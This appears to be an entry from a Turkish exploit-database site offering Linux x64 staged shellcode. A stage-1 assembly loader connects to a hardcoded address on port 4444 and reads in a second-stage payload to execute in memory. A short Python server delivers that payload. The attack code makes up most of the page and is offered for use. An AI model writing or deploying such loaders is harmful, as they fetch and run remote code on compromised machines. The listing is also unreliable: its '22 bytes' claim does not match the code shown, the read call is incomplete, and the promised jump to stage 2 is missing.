Siber Alem / Detail / 259 / Linux-x64-staged-shellcode-stage1-22-bytes-tcp-stage2-loader
vuln_report_viewer.sh
VULN REPORT / shellcode / ID: 259

Linux/x64 Staged Shellcode - Stage1 22 Bytes + TCP Stage2 Loader

2026-07-21
33 görüntülenme
Doğrulandı
Linux x64

Özet

Bu kayıt, hedef sistemde bulunan bir zafiyeti detaylandırmaktadır. Zafiyet 2026-07-21 tarihinde yayınlanmış olup, topluluktan 33 görüntülenme almıştır. shellcode kategorisinde sınıflandırılmıştır. Kullanıcıların teknik detaylar için Detay sekmesindeki kaynak kodunu incelemeleri önerilir.

exploit_259.txt
<div class="space-y-8 text-slate-800 font-sans leading-relaxed">

  <div class="border-l-4 border-purple-500 pl-5 py-3 bg-purple-50/60 rounded-r-xl">
    <p class="text-xs font-bold uppercase tracking-widest text-purple-700 mb-1">Modern Shellcode - Linux x64 - Staged</p>
    <h2 class="text-2xl font-extrabold text-slate-900 leading-tight">Linux/x64 Staged Shellcode - 22 Bytes Stage-1 Loader</h2>
    <p class="text-sm text-slate-600 mt-2">Staged shellcode, dar buffer'lara sigacak kadar kucuk stage-1 ile baslar. Loader; baglanti kurar, payload alir, bellekte calistirir.</p>
  </div>

  <div>
    <h3 class="text-xl font-bold text-slate-900 border-b border-slate-200 pb-2 mb-4">Stage-1 Minimal TCP Loader</h3>
    <div class="bg-slate-900 text-green-400 p-4 rounded-xl font-mono text-xs overflow-x-auto shadow-inner leading-5">
; socket + connect + read + jmp
xor  edi, edi
mul  edi
inc  edi             ; SOCK_STREAM=1
push 2
pop  rsi             ; AF_INET=2
mov  al, 41          ; socket
syscall
push rax
pop  r9

; connect hardcoded 192.168.1.50:4444
mov  dword [rsp-4], 0x3201a8c0
mov  word  [rsp-6], 0x5c11
mov  word  [rsp-8], 2
sub  rsp, 8
mov  rsi, rsp
push 16
pop  rdx
mov  rdi, r9
mov  al, 42          ; connect
syscall

; read(sockfd, rsp, 4096) -> stage2
mov  rdi, r9
xor  esi, esi
mov  al, 0
syscall
    </div>
  </div>
  <div>
    <h3 class="text-xl font-bold text-slate-900 border-b border-slate-200 pb-2 mb-4">Stage-2 Python Sunucu</h3>
    <div class="bg-slate-900 text-yellow-300 p-4 rounded-xl font-mono text-xs overflow-x-auto shadow-inner leading-5">
import socket
with open("stage2.bin","rb") as f:
    s2 = f.read()
srv = socket.socket()
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind(("0.0.0.0", 4444))
srv.listen(1)
conn, a = srv.accept()
conn.send(s2)
    </div>
  </div>
</div>

Yazar Profili

Teo Manojlovic
Teo Manojlovic Seçkin Üye
Tüm Gönderilerini Gör

Kayıt İstatistikleri

Görüntülenme 33
İndirmeler 5
Yorumlar 0
Siber Alem V1 Status: Operational | Exploits: 438 (156 Verified)
Ping: 18ms Lang: TR